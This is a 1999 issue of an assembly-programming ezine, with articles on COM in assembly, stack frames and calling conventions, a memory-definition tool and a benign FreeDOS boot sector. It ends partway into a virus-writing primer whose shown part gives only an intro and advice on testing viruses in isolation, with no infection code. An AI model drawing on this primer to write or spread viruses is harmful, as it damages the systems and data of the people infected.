::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. Apr-June 99 :::\_____\::::::::::. Issue 4 ::::::::::::::::::::::......................................................... A S S E M B L Y P R O G R A M M I N G J O U R N A L http://asmjournal.freeservers.com asmjournal@mailcity.com T A B L E O F C O N T E N T S ---------------------------------------------------------------------- Introduction...................................................mammon_ "Using COM in Assembly Language"..........................Lord.Lucifer "Stack Frames and High-Level Calls"............................mammon_ "Define Your Memory".......................................Alan Baylis "Writing a Boot Sector in A86"...........................Jan Verhoeven "A Basic Virus Writing Primer"...................................Chili Column: Win32 Assembly Programming "Mouse Input....".........................................Iczelion "Menus"...................................................Iczelion Column: The C standard library in Assembly "C string functions:_strtok"................................Xbios2 Column: The Unix World "Using Menus in Xt"........................................mammon_ Column: Assembly Language Snippets "Triple XOR".........................................Jan Verhoeven "Trailing Calls".....................................Jan Verhoeven Column: Issue Solution "Fire Demo"....................................................iCE ---------------------------------------------------------------------- +++++++++++++++++++++Issue Challenge+++++++++++++++++++ Write a "Fire Demo"-style program in less than 100 bytes ---------------------------------------------------------------------- ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::..............................................INTRODUCTION by mammon_ In the last few months I have come across a number of links to APJ, and have received the proverbial ton of email regarding it. Strangely enough, the majority of these tend to agree that the one problem with the journal is its infrequent --if not irregular-- publication. If that is the only complaint so far, I think I can cope with it ;) This issue is, naturally, very late due to what could be called "real world" [lit., "that which does not go away when a power outtage kills your PC"] considerations; however the articles by weight alone should make up for some of this. The largest of the bunch is undoubtedly the virus writing tutorial by Chili, who may have beat my previous record for article length: a very thorough work, worth reading just to help protect against virii, if not to write them. This is accompanied by Jan's discussion of boot sector programming...a suitable companion article, I believe. High-level coders will undoubtedly be interested in Lord Lucifer's article on COM programming in assembly; it seems that high-level areas such as COM, DirectDraw, and Winsock coding are starting to receive a fair degree of attention from the assembly language world, judging from the tutorials I have been coming across. Xbios2 has continued his excellent C stdlib work, and Icezlion has contributed two more of his now-legendary Win32 asm tutorials; I of course have kept up the Unix vanguard with yet another Xt article. This month's challenge was contributed by iCE, and had a .text-size I could not readily beat. A few brief notes concerning the web page: I have thrown together a basic collection of assembly language links at http://asmjournal.freeservers.com/lynx.html Submissions for this links page are welcome. I have also been getting a few emails to the APJ inbox asking or offering help with assembly language; since I check the inbox fortnightly at best, I have added a "classified ads" page to the APJ website at http://www.guestbook4free.com/en/28806/entries/ which is essentially a guestbook where people can post contact info, projects they need help with, etc ... more or less a one-way bulletin board like, well, like classified ads are. That should just about wrap things up. Enjoy the issue! _m ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Using COM in Assembly Language by Lord Lucifer This article will discuss how to use COM interfaces in your assembly language programs. It will not discuss what COM is and how it is used, but rather how it can be used when programming in assembler. It will discuss only how to use existing interfaces, and not how to actually implement new ones; this will be shown in a future atricle. About COM ------------------------------------------------------------------------------ Here is a brief introduction to the basics behind COM. A COM object is one in which access to an object's data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. An interface is actually a contract that consists of a group of related function prototypes whose usage is defined but whose implementation is not. An interface definition specifies the interface's member functions, called methods, their return types, the number and types of their parameters, and what they must do. There is no implementation associated with an interface. An interface implementation is the code a programmer supplies to carry out the actions specified in an interface definition. An instance of an interface implementation is actually a pointer to an array of pointers to methods (a function table that refers to an implementation of all of the methods specified in the interface). Any code that has a pointer through which it can access the array can call the methods in that interface. Using a COM object assembly language ------------------------------------------------------------------------------- Access to a COM object occurs through a pointer. This pointer points to a table of function pointers in memory, called a virtual function table, or vtable in short. This vtable contains the addresses of each of the objects methods. To call a method, you indirectly call it through this pointer table. Here is an example of a C++ interface, and how its methods are called: interface IInterface { HRESULT QueryInterface( REFIID iid, void ** ppvObject ); ULONG AddRef(); ULONG Release(); Function1( INT param1, INT param2); Function2( INT param1 ); } // calling the Function1 method pObject->Function1( 0, 0); Now here is how the same functionality can be implemented using assembly language: ; defining the interface ; each of these values are offsets in the vtable QueryInterface equ 0h AddRef equ 4h Release equ 8h Function1 equ 0Ch Function2 equ 10h ; calling the Function1 method in asm ; the method is called by obtaining the address of the objects ; vtable and then calling the function addressed by the proper ; offset in the table push param2 push param1 mov eax, pObject push eax mov eax, [eax] call [eax + Function1] You can see this is somewhat different than calling a function normally. Here, pObject points to the Interface's vTable. At the Function1(0Ch) offset in this table is a pointer to the actual function we wish to call. Using HRESULT's ------------------------------------------------------------------------------- The return value of OLE APIs and methods is an HRESULT. This is not a handle to anything, but is merely a 32-bit value with several fields encoded in the value. The parts of an HRESULT are shown below. HRESULTs are 32 bit values layed out as follows: 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +-+-+-+-+-+---------------------+-------------------------------+ |S|R|C|N|r| Facility | Code | +-+-+-+-+-+---------------------+-------------------------------+ S - Severity Bit Used to indicate success or failure 0 - Success 1 - Fail By noting that this bit is actually the sign bit of the 32-bit value, checking success/failure is simply performed by checking its sign: call ComFunction ; call the function test eax,eax ; now check its return value js error ; jump if signed (meaning error returned) ; success, so continue R - reserved portion of the facility code, corresponds to NT's second severity bit. C - reserved portion of the facility code, corresponds to NT's C field. N - reserved portion of the facility code. Used to indicate a mapped NT status value. r - reserved portion of the facility code. Reserved for internal use. Used to indicate HRESULT values that are not status values, but are instead message ids for display strings. Facility - is the facility code FACILITY_WINDOWS = 8 FACILITY_STORAGE = 3 FACILITY_RPC = 1 FACILITY_WIN32 = 7 FACILITY_CONTROL = 10 FACILITY_NULL = 0 FACILITY_ITF = 4 FACILITY_DISPATCH = 2 To retreive the Facility, call ComFunction ; call the function shr eax, 16 ; shift the HRESULT to the right by 16 bits and eax, 1FFFh ; mask the bits, so only the facility remains ; eax now contains the HRESULT's Facility code Code - is the facility's status code To get the Facility's status code, call ComFunction ; call the function and eax, 0000FFFFh ; mask out the upper 16 bits ; eax now contains the HRESULT's Facility's status code Using COM with MASM ------------------------------------------------------------------------------ If you use MASM to assemble your programs, you can use some of its capabilities to make calling COM functions very easy. Using invoke, you can make COM calls look almost as clean as regular calls, plus you can add type checking to each function. Defining the interface: IInterface_Function1Proto typedef proto :DWORD IInterface_Function2Proto typedef proto :DWORD, :DWORD IInterface_Function1 typedef ptr IInterface_Function1Proto IInterface_Function2 typedef ptr IInterface_Function2Proto IInterface struct DWORD QueryInterface IUnknown_QueryInterface ? AddRef IUnknown_AddRef ? Release IUnknown_Release ? Function1 IInterface_Function1 ? Function2 Interface_Function2 ? IInterface ends Using the interface to call COM functions: mov eax, pObject mov eax, [eax] invoke (IInterface [eax]).Function1, 0, 0 As you can see, the syntax may seem a bit strange, but it allows for a simple method using the function name itself instead of offsets, as well as type checking. A Sample program written using COM ------------------------------------------------------------------------------ Here is some sample source code which uses COM written in straight assembly language, so it should be compatable with any assembler you prefer with only minor changes necessary. This program uses the Windows Shell Interfaces to show the contents of the Desktop folder in a window. The program is not complete, but shows how the COM library is initialized, de-initialized, and used. I also shows how the shell library is used to get folders and obcets, and how to perform actions on them. ..386 ..model flat, stdcall include windows.inc ; include the standard windows header include shlobj.inc ; this include file contains the shell namespace ; definitions and constants ;---------------------------------------------------------- ..data wMsg MSG g_hInstance dd ? g_pShellMalloc dd ? pshf dd ? ; shell folder object peidl dd ? ; enum id list object lvi LV_ITEM iCount dd ? strret STRRET shfi SHFILEINFO ... ;---------------------------------------------------------- ..code ; Entry Point start: push 0h call GetModuleHandle mov g_hInstance,eax call InitCommonControls ; initialize the Component Object Model(COM) library ; this function must be called before any COM functions are called push 0 call CoInitialize test eax,eax ; error when the MSB = 1 ; (MSB = the sign bit) js exit ; js = jump if signed ; Get the Shells IMalloc object pointer, and save it to a global variable push offset g_pShellMalloc call SHGetMalloc cmp eax, E_FAIL jz shutdown ; here we would set up the windows, list view, message loop, and so on.... ; we would also call the FillListView procedure... ; .... ; Cleanup ; Release IMalloc Object pointer mov eax, g_pShellMalloc push eax mov eax, [eax] call [eax + Release] ; g_pShellMalloc->Release(); shutdown: ; close the COM library call CoUninitialize exit: push wMsg.wParam call ExitProcess ; Program Terminates Here ;---------------------------------------------------------- FillListView proc ; get the desktop shell folder, saved to pshf push offset pshf call SHGetDesktopFolder ; get the objects of the desktop folder using the EnumObjects method of ; the desktop's shell folder object push offset peidl push SHCONTF_NONFOLDERS push 0 mov eax, pshf push eax mov eax, [eax] call [eax + EnumObjects] ; now loop through the enum id list idlist_loop: ; Get next id list item push 0 push offset pidl push 1 mov eax, peidl push eax mov eax, [eax] call [eax + Next] test eax,eax jnz idlist_endloop mov lvi.imask, LVIF_TEXT or LVIF_IMAGE mov lvi.iItem, ; Get the item's name by using the GetDisplayNameOf method push offset strret push SHGDN_NORMAL push offset pidl mov eax, pshf push eax mov eax, [eax] call [eax + GetDisplayNameOf] ; GetDisplayNameOf returns the name in 1 of 3 forms, so get the correct ; form and act accordingly cmp strret.uType, STRRET_CSTR je strret_cstr cmp strret.uType, STRRET_OFFSET je strret_offset strret_olestr: ; here you could use WideCharToMultiByte to get the string, ; I have left it out because I am lazy jmp strret_end strret_cstr: lea eax, strret.cStr jmp strret_end strret_offset: mov eax, pidl add eax, strret.uOffset strret_end: mov lvi.pszText, eax ; Get the items icon push SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON or SHGFI_ICON push sizeof SHFILEINFO push offset shfi push 0 push pidl call SHGetFileInfo mov eax, shfi.iIcon mov lvi.iImage, eax ; now add item to the list push offset lvi push 0 push LVM_INSERTITEM push hWndListView call SendMessage ; repeat the loop idlist_endloop: ; now free the enum id list ; Remember all allocated objects must be released... mov eax, peidl push eax mov eax,[eax] call [eax + Release] ; free the desktop shell folder object mov eax, pshf push eax mov eax,[eax] call [eax + Release] ret FillListView endp END start Conclusion ------------------------------------------------------------------------------- Well, that is about it for using COM with assembly language. Hopefully, my next article will go into how to define your own interfaces. As you can see, using COM is not difficult at all, and with it you can add a very powerful capability to your assembly language programs. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Stack Frames and High-Level Calls by mammon_ Last month I covered how to implement high-level calls in Nasm. Since then it has come to my attention that many beginning programmers are unfamiliar with calling conventions and the stack frame; to remedy this I have prepared a brief discussion of these topics. The CALL Instruction -------------------- At its most basic, an assembly language call takes this for: push [parameters] call [address] Some assemblers will require that the CALL statement take as an rgument only addresses leading to external functions or addresses created with a macro or directive such as PROC. However, as a quick glance through a debugger or a passing familiarity with Nasm will demonstrate, the CALL instruction simply jumps to an address [often a label in the source code] while pushing the contents of EIP [containing the address of the instruction following the call] onto the stack. The CALL instruction is therefore equivalent to the following code: push EIP jmp [address] The address that has been called will thefore have the stack set up as follows: [Last Parameter Pushed]: DWORD [Address of Caller] : DWORD --- "Top" of Stack [esp] --- At this point, anything pushed onto the stack will be on top of [that is, with a lower memory address, since the stack "grows" downwards] the return address. The Stack Frame --------------- Note that the parameters to the call therefore cannot be POPed from the stack, as this will destroy the saved return address and thus cause the application to crash upon returning from the call [unless, of course, a chosen return address is PUSHed onto the stack before returning from the call]. The logical way to reference these parameters, then, would be as offsets from the stack pointer: [parameter 2] : DWORD esp + 8 [parameter 1] : DWORD esp + 4 [Address of Caller]: DWORD esp ----- "Top" of Stack [esp] ----- In this example, "parameter 1" is the parameter pushed onto the stack last, and "parameter 2" is the parameter pushed onto the stack before parameter 1, as follows: push [parameter 2] push [parameter 1] call [procedure] The problem with referring to parameter as offsets from esp is that esp will change whenever a value is PUSHed onto the stack during the routine. For this reason, it is standard for routines which take parameters to set up a "stack frame". In a stack frame, the base pointer [ebp] is set equal to the stack pointer [esp] at the start of the call; this provides a "base" address from which parameters can be addressed as offsets. It is assumed that the caller had a stack frame also; thus the value of ebp must be preserved in order to prevent causing damage to the caller. The stack frame usually takes the following form: push ebp mov ebp, esp ... [actual code for the routine] ... mov esp, ebp pop ebp This means that once the stack frame has been entered, the stack has the following structure: [parameter 2] : DWORD ebp + 12 [parameter 1] : DWORD ebp + 8 [Address of Caller]: DWORD ebp + 4 [Old Base Pointer] : DWORD ebp ----- Base Pointer [ebp] ----- ----- "Top" of Stack [esp] ----- The use of the base pointer also allows space to be allocated on the stack for local variables. This is done by simply subtracting bytes from esp; since esp is restored when the stack frame is exitted, this space will automatically be deallocated. The local variables are then referred to as *negative* offsets from ebp; these may be EQUed to meaningful symbol names in the source code. A routine that has 3 local DWORD variables would take the following form: Var1 EQU [ebp-4] Var2 EQU [ebp-8] Var3 EQU [ebp-12] ;provide meaningful names for the variables push ebp mov ebp, esp sub esp, 3*4 ;3 DWORDs at 4 BYTEs apiece ... [actual code for the routine] ... mov esp, ebp pop ebp This routine would then have the following stack structure after the allocation of the local variables: [parameter 2] : DWORD ebp + 12 [parameter 1] : DWORD ebp + 8 [Address of Caller]: DWORD ebp + 4 [Old Base Pointer] : DWORD ebp ----- Base Pointer [ebp] ----- [Var1] : DWORD ebp - 4 [Var2] : DWORD ebp - 8 [Var3] : DWORD ebp - 12 ----- "Top" of Stack [esp] ----- The stack frame has can also be used to provide a call trace, as it stores the base pointer of [and thus a pointer to the caller of] the caller. Assume that a program has the following flow of execution: proc_1: push dword call1_p2 push dword call1_p1 call proc_2 ________proc_2: push call2_p1 call proc_3 ________________proc_3: push call3_p1 call proc_4 Upon creation of the stack frame in proc_4, the stack has the following structure: [call1_p2] : DWORD ebp + 36 [call1_p1] : DWORD ebp + 32 [Return Addr of Call1] : DWORD ebp + 28 [Old Base Pointer] : DWORD ebp + 24 ---- Base Pointer of Call 1 ---- [call2_p1] : DWORD ebp + 20 [Return Addr of Call2] : DWORD ebp + 16 [Base Pointer of Call1]: DWORD ebp + 12 ---- Base Pointer of Call 2 ---- [call3_p1] : DWORD ebp + 8 [Return Addr of Call3] : DWORD ebp + 4 [Base Pointer of Call2]: DWORD ebp ----- Base Pointer [ebp] ----- ----- "Top" of Stack [esp] ----- As you can see, for each previous call the return address is [ebp+4], where ebp is the address of the saved base pointer for the call previous to that one. Thus, if one could traverse the history of stack frames as follows: mov eax, ebp ; eax = address of previous ebp mov ecx, 10 ; trace the last 10 calls loop_start: mov ebx, [eax+4] ; ebx = return address for call call print_stack_trace mov eax, [eax] ; step back one stack frame loop loop_start This is exceptionally useful for exception handling; the handling function will be able to print out a stack history to aid debugging. This principle can also be applied in conjunction with debugging code [for example, the Win32 debug API] to create a utility which will trace the calls [in reality, the stack frames of the calls] made by a target. Essentially, this would boil down to the following logic: 1) Breakpoint on changes to EBP 2) On Break, get return address [ebp+4] 3) Get instruction prior to return address 4) Print or log the instruction Note that this can be enhanced to resolves symbol names in the logged CALL instruction, such that local or API address labels [e.g. GetWindowTextA] can be logged rather than just the address itself. The ENTER Instruction --------------------- The ENTER instruction is used to create a stack frame with a single instruction; it is equivalent to the code push ebp mov ebp, esp The ENTER instruction takes a first parameter that specifes the number of bytes to reserve for local variables; an optional second parameter gives the nesting level [0-31] of the current stack frame in the overall program structure. This is often used by high-level languages to save call trace information for error handlers, as it specifies the number of additional [previous] stack frame pointers to save on the stack. The RET Instruction ------------------- Any routine which is accessed by a CALL instruction must be terminated with a return [RET] instruction. As one can see from the operation of the CALL instruction, if you were to attempt to circumvent the RET instruction by JMPing to the retrun address, the stack would still be corrupted. The RET statement is roughly equivalent to the following code: pop EIP Note that the RET must take place after exiting the stack frame in order to avoid corruption of the stack. The LEAVE Instruction --------------------- The LEAVE instruction is used to exit a stack frame created with the ENTER instruction; it is equivalent to the code mov esp, ebp pop ebp The LEAVE instruction takes no parameters and still requires a RET statement to follow it. High-level Language Calling Conventions --------------------------------------- At this point one may wonder what has happened to the parameters pushed onto the stack prior to the call. Are they still on the stack after the RET, or have they been cleared? Since the parameters cannot be POPed from the stack while within the call, they still are on the stack at the RET instruction. At this point the programmer has two options. They can have the caller clean up the stack by adding the number of bytes pushed to esp immediately after the call: push dword param2 push dword param1 call procedure add esp, 2 * 4 ;2 DWORDs at 4 BYTEs apiece Or they can clear the stack by passing to the RET instruction the number of bytes that need to be cleared: push dword param2 push dword param1 call procedure ... procedure: push ebp mov ebp, esp ... mov esp, ebp pop ebp ret 8 ;2 DWORDs at 4 BYTEs apiece Which method is chosen is left up to the programmer; however, when writing a library or API, one must make clear who is responsible for cleaning up the stack. In addition, when interfacing with high-leve languages, one also has to make clear which order the parameters are to be pushed in. For this reason there are calling conventions for the high-level languages. The C calling convention is used to interface with the C and C++ programming languages; it is used in the standard C library and in Unix APIs. It pushes the parameters from right to left, and does not clean up the stack upon return from the call. A call to a C-style routine would look as follows: ;corresponds to the C code ;procedure(param1, param2) push dword param2 push dword param1 call procedure add esp, 8 A C-style routine would have the following structure: push ebp mov ebp, esp ... mov esp, ebp pop ebp ret The Pascal calling convention is used interface with the Pascal, BASIC, and Fortran programming languages; it is used in the Win16 API. It pushes the parameters from left to right, and cleans up the stack upon return from the call; as such it is the opposite of the C convention. A call to a Pascal routine would look as follows: ;corresponds to the C code ;procedure(param1, param2) push dword param1 push dword param2 call procedure A Pascal-style routine would have the following structure: push ebp mov ebp, esp ... mov esp, ebp pop ebp ret 8 ;clear the 2 dword parameters The Stdcall ["standard call" or __stdcall] calling convention is a combination of the C and Pascal conventions; it is used in the Win32 API. It pushes the parameters from right to left, and cleans the stack upon return from the call. A call to a Stdcall routine would look as follows: ;corresponds to the C code ;procedure(param1, param2) push dword param2 push dword param1 call procedure A Stdcall-style routine would have the following structure: push ebp mov ebp, esp ... mov esp, ebp pop ebp ret 8 There is also a Register calling convention [also called "fastcall"] which uses registers rather than the stack to pass parameters. The first parameter is passed in eax, the second in EDX, and the third in EBX; subsequent parameters are passed via the stack. A call to a Register routine would look as follows: ;corresponds to the C code ;procedure(param1, param2, param3) mov eax, param1 mov edx, param2 mov ebx, param3 call procedure Note that there is no defined standard method of clearing the stack ro the Register convention; however most implemntations clear the stack in the Pascal style. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Define Your Memory by Alan Baylis [I am going to preface this article with a brief note, since it is not covering assembly language per se, but rather a utility that will be of use to asm coders. The author sums it up well in his original email to me: "Define is a new type of assembler/disassembler that does not use source code. The program reads the byte values in memory and checks a library to find a definition that describes the byte values it reads. The library can be added to and is used as a permanent macro list to write instuctions, functions, etc to memory. Most assemblers also use standard 3 character mnemonics to descibe the instruction set, however, with Define you can rename the instructions and your own macros to anything and up to 250 characters." Sounds pretty promising. _m ] For the x86 series of processor I have been working on a new type of assembler and have written a program called Define. The program could be called a sketch of what a future version might be like. The program is fully workable but suffers from a few limitations, the first is that it is written in QBASIC which may be a blow to devoted machine coders, and the second is that it can only comfortably use about three hundred definitions (Definitions are like a library of machine code macros and I'll discuss them more fully later) and a third limitation, not to its functionality, is that the program doesn't have a quick mouse and menu driven interface, but I'm working on it. I liked the idea of macros and saw the neccessity for using them so that I and others don't have to "reinvent the wheel" as it has been put, but I wanted a way to see the machine code instructions and the byte values that made up the macro. This can't be done through using source code as the finished code is generated at the discretion of the compilers authors and requires a debugger to verify its content. To make what was originally intended to be a debugger but without the source code I decided to make a program that could read memory and interpret the byte values it finds into their mnemonic equivalents or better (much like a debugger), so that while reading memory, if the program found the byte value 205 followed by the value 5 it would display "INT 5". To do this I needed what I termed a 'definiton' which included the byte values that make up an instruction or small macro and included a description or name for the function they perform. Unlike what I had done with a previous assembler I decided to put the definitions in a separate file rather than include them as data within the main program, this allowed for the addition or removal of future definitions. I then quickly realised that since these definitions contained the byte values of an instruction, then they could also be used to write the bytes into memory. I added functions to save and load programs as well as functions to manipulate the definition file and the program was underway. I found while writing the definitions for the instruction set that it would be good (and necessary) if the program could read an instruction even if one of the bytes is unknown or variable; I decided to call these bytes undefined bytes, so that if the program found the number 205 it would display something like "Interrupt call" regard- less of what number followed. While reading memory I also wanted a way to exclude data areas from being interpreted into definitions, so I added a new definition type called addresses which contain the address of the first and last bytes of a data area and a name to describe the data area. If these are turned on in the program then they are used instead of the normal definitions when reading that part of memory. To then take Define closer to being an assembler rather than a debugger I also included labels that label memory addresses and the destination of jump and branch instructions. I envision that a future version of Define written in machine code or a similar program will have a pop up list of definitons and use a point and click method of writing the code as opposed to the current method of scrolling through them from a different page. The future version will also need to be able to handle thousands of definitions as opposed to the few hundred it can use at a time now, in order to accommodate situations such as the following: To call the interrupt 21h,9 which prints a string it is necessary to put the function number 9 in AH and the address of the string in the registers DS:DX and then call the interrupt, MOV AH,9 MOV DX,address INT 21h however it is also valid to put the number 9 in AH after the address of the string has been put in DS:DX, MOV DX,address MOV AH,9 INT 21h To make a definition for this interrupt at least two definitions will need to be made and therefore a larger definition file. This also doesn't account for the situation in which the number 9 may have been filled three instructions earlier and is assumed to be correct at the time when the interrupt is called, in this case only the definitions for the instructions will be seen and not a definition for the interrupt. One of the best aspects to Define in my book is that the memory can be viewed according to a persons level of understanding (or will be as the definitions are written,) for example the program is able to only show definitions of a certain level and no other. I have chosen to represent the level of a definition by its color, I have used blue (1) for the lowest level which are the instruction set definitions and then green (2) for the next level which are the DOS, BIOS, etc definitions and then magenta (3) for the next level which may be definitions to clear the screen and print the date combined and so on, so that a person who knows little about machine code may set the maximum definition color to red (4) and still be able to write a program using Define. The advantage for those who know machine code is that they need not be restricted to only a high level definition, by turning the observance of the color off they can press the letter B when viewing a high level definition and see the lower level definitions that make up the higher one. By repeatedly pressing B they can view the program as level 1 (blue) or even as the byte values themselves. The most radical departure from most assemblers is that when writing a program the program is composed in memory, the byte values of the definitions are written directly to an unused or reserved area of memory where they can be further altered directly while reading memory. This could also be said to be the most dangerous method as it can easily lead to the accidental writing of other areas of memory, while this is true I have also found a benefit, if Define is stopped and then restarted the program being written will still be in memory without having been saved (depending on where in memory the program is being written.) The maker of a violin, while demonstrating it, must have said at one time or another "A good violinist could really show you how to play it", I too like the maker of a violin am sure there are better definition writers than myself. To become a high level language the high level definitions need to be written and I ask any person who has a passion for writing hand written code to send me a definition or two to include in the definition file. You can download Define from my homepage at http://members.net-tech.com.au/alaneb/default.htm and there is a step by step guide to using the program in the zip file called manual.doc. Please send any definitions or reponse to Alan at alien1_3@excite.com ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Writing a Boot Sector in A86 by Jan Verhoeven I have been coding for FreeDOS some time, but that is a C project and I rather hate C. It is so clumsy. That's also why I always code in A86 assembly language. The "No Red Tape" assembler that makes life a lot easier for programmers. A86 is good. The debugger (D86) could be better, but not too much. I registered my version and I want to encourage everyone to follow my lead. The software is good enough to pay for it. And it ensures proper development of the software. If you can spare 20 bucks a month for the ISP, you should also spend this on quality software. During the last two years I have been submiutting bugs to Isaacson and all of them have been fixed in the latest version (4.03). Besides A86 being the best assembler around, it has some idiosyncracies to which some people need to get used to. Plus my personal preferences, which might add to that... - When I refer to a memory location I use square brackets. - I use single quotes for texts - I use most of the A86 features. Some of the A86 features are: - very powerful macro language - numbers starting with a ZERO are ALWAYS hex, no matter how they end - easy IF statements to reduce nonsense labelnames - local labels, like below: only two local labels. I started out on the Z-8000, back in 1981, switched to the Z-80, Z-8, 8086, PIC 16Cxx, some 8051 (Barffff), some 68K (yummie yummie). Mainly in ASM and else in Modula-2. I have some really cool and useful routines lying around for DOS. And I'm gonna share them with the world. The following code is a bootsector which can be used for noon-bootable disks. In this case for a 1.44 Mb floppy disk. You could use it to make a commercial out of every non-bootable disk. First the code: ----- Code file ------------------------------------------------- name flopnb title Floppy disk boot sector, non-bootable, 1.44 Mb page 80, 120 ; version 1.0 : It works : OK 12-12-1998 lf = 10 cr = 13 org 0 jmp short main ; this is critical! nop ; and this too! ; ---------------------- OEMname db 'StupiDOS' BpS dw 512 ; bytes per sector SpA db 1 ; sectors per allocation unit (=cluster) ResSect dw 1 ; reserved sectors, starting from sector 0 NrFats db 2 ; number of FAT's on this disk FiR dw 224 ; number of entries in ROOT directory Total dw 2880 ; number of sectors per disk ToM db 0F0 ; Type of Media SpF dw 9 ; Sectors per Fat SpT dw 18 ; sectors per Track Heads dw 2 ; number of heads Hidden dw 0, 0 ; Hidden sectors GrandTot dd 0 ; total for disks over 32 Mb IntId db 0, 0 BootSign db 029 ; extended boot signature VolumeID dd 0566E614A ; serial number ... DiskLabl db 'DOS is MINE' ; volume label FATtype db 'FAT-12 ' ; FAT type db 'VeRsIoN=1.0', 0 ; for version control only ; ---------------------- L1: push si ; stack up return address ret ; and jump to it print: pop si ; this is the first character mov bx, 0 ; video page 0 L0: lodsb ; get token cmp al, 0 ; end of string? je L1 ; if so, exit mov ah, 0E ; else print it int 010 ; via TTY mode jmp L0 ; until done ; ---------------------- main: cld ; init direction flag cli ; take care of 1 faulty batch of 88's in 1980 mov ax, 07C0 ; this is the segmentvalue at start mov ds, ax ; store it in DS, ES mov es, ax mov ax, 0 ; clear ax ... mov ss, ax ; ... to prime the SS register mov sp, 07C00 ; set stackpointer sti ; OK, interrupts may come again call print ; show that message db cr db 'This is not a bootable floppy. ' db 'Please strike any key to reboot.', cr, lf db 'This floppy disk is formatted by FreeDOS', cr, lf, lf db 'Please visit us at www.freedos.org', cr, lf, 0 L0: mov ah, 1 ; wait for keypress by ... int 016 ; ... interrogating keyboard jz L0 ; if no key pressed, loop back mov ax, 0 ; else address system variables mov es, ax ; in order to ... es mov w [0472], 01234 ; signal: NO POST and go on ... jmp 0FFFF:0000 ; with the next reboot org 01FE ; look for the dotted line and ... db 055, 0AA ; ... don't forget to sign! ------------------------------------------------- Code file ----- The first three lines are straightforward: name, title and page. Not much to tell about that. Then some version info for the programmer, some equates and the ORG statement. If no ORG is supplied, A86 will assume it is ORG 0100. I ordered an ORG 0, which means several things: - start assembly at address 0 - the output file will be called *.BIN Bootsectors must start with some particular bytes. Therefore the first three bytes need to be either a short jump, a variable offset plus a NOP. Or a (long) jump without a NOP. At offset 03 of the bootsector starts the DPB (Disk Parameter Block) which tells the OS what kind of disk this is. It starts off with an OEM name. Please put ASCII in there, or virus scanners might trip on it with a "Bloodhound warning". After the description of the geometry of this disk, I included an extended boot signature, since we have ample room left. It contains Volume ID, Disk Label, and FAT-type strings. The PRINT subroutine is a nice one. It will print the ASCIIZ string that follows it. This is quite a handy routine since you can simply change messages without having to worry about the address and length of the actual message. Print is called like this: call print db 'Hello World', cr, lf, 0 ... Print takes the "return address" off the stack. This of course is no return address but the address of the message. What follows is easy: - get next character - IF (non-zero) print character ELSE leave loop ENDIF - the current si pointer is the actual return address... So we push it - and return to caller. Perhaps a jmp si could be possible too, but I like clear code, in most cases. If you need obfuscated code, switch to C. :) The actual program is very simple. It just sets up a stack and the segment registers, and then prints that it will do nothing. Gee, what a life... After the message we wait for a key and next signal: - fast reboot - jump to the reboot vector Whatever there will be between end of code and offset 01FE is not relevant (it could be your ad) but the last two bytes of the boot sector must be a valid boot signature. That's it. With this code you can make your own custom non-bootsector. I hope this software has also shown that linking and assuming are supported by A86, but certainly not necessary. Also, this software does not rely on any HLL calls. It's just assembly language as it should be. I want to remark that this software is Open Source, according to the rules of the GNU GPL. Make sure you understand these rules before embedding this routine in your own software. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE A Basic Virus Writing Primer by Chili What horror must the ignorant victim undergo as it becomes aware of a being that lives inside its own body, growing ever stronger, reproducing itself until its host, unable to bear more finally colapses and dies an horrible death. What panic it must feel, knowing nothing can be done in time to avoid such a terrible fate. A predator so tiny, that unsuspectedly it spreads from one host to another, by so rapidly infecting millions. An organism, so utterly resourceful and small, that it stays most of the time undetectable, breeding in the shadows. Computer viruses aren't much different from their biological counterpart, but instead of infecting cells they infect files and boot sectors. In this article I'll try to explain the basics of file viruses, more specifically runtime (aka direct action) COM infectors. This will cover most simple search and replication methods used and is only to be considered as an introduction to virus writing. After some thought I've decided not to include any full source code for a working virus, since anyone with half a brain and a somewhat mediocre knowledge of assembly can easily build a virus out of the pieces of code that will be presented. Furthermore it's not my wish to increase the number of viruses in the wild, thing that would undoubtedly happen by the hands of some I-have-no-brain-and-can't-program-hellspawn bent on random destruction. Anyway, on with the article... Some Sort Of 'Programming Virii Safely' Guide --------------------------------------------- The only really safe way to program viruses is to know what you're doing and understand at every time how the virus is behaving. If you test a virus on your own machine without fully comprehending its ins and outs, then you will most likely have your system trashed. It would be best if you had a second computer just for this purpose, since a buggy programming can lead to a lot of crashes and general havoc. If not, a Ramdrive can be created and a Subst can be done, so that all accesses to physical drives are redirected to the virtual one. Assuming that you want your Ramdrive to have 512-byte sectors, a limit of 1024 entries and to allocate 2048K of extended memory, you must add this line to your CONFIG.SYS: DEVICE=C:\DOS\RAMDRIVE.SYS 2048 512 1024 /E Then you must copy COMMAND.COM and SUBST.EXE to the Ramdrive so that DOS won't hang and also in order for you to be able to delete all redirections when done. And to associate all physical drives to the newly created virtual drive (and assuming that it is D: and all your drives are A: and C:) you should do: SUBST A: D:\ SUBST C: D:\ Of course this last method isn't perfect. You should always know how to completely remove a virus before running it, or you'll end cleaning up the mess for quite some time. Just use common sense. For example, if you're writing a virus aimed at a specific file type, all you have to do is copy all files of that type you do not wish to be infected to a different extension and when you're done testing just switch those files back to their original extension. While testing you should also place breakpoints and warning messages throughout the code, so that you know 